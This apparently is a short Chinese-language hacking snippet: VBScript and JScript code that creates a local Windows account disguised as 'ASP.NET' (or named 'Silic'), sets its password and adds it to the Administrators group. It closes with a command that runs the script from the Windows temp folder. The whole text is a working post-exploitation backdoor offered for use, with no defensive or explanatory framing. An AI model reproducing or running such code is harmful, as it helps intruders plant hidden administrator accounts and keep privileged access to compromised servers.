a="WinNT://"&createObject("WSCRIPT.NETWORK").ComputerName Set x=GetObject(a) Set y=GetObject(a&"/Administrators,group") Set z=x.create("user","ASP.NET") z.SetPassword "[email protected]" z.SetInfo Set of=GetObject(a&"/" & "ASP.NET" & ",user") y.Add(of.ADsPath) For Each admin in y.Members wscript.quit Next
var o=new ActiveXObject( "Shell.Users" ); z=o.create("Silic") ; z.changePassword("[email protected]","")z.setting("AccountType")=3;
或
Set o=CreateObject( "Shell.Users" ) Set z=o.create("Silic") z.changePassword "[email protected]","" z.setting("AccountType")=3
执行方式:
cscript c:\windows\temp\user.vbs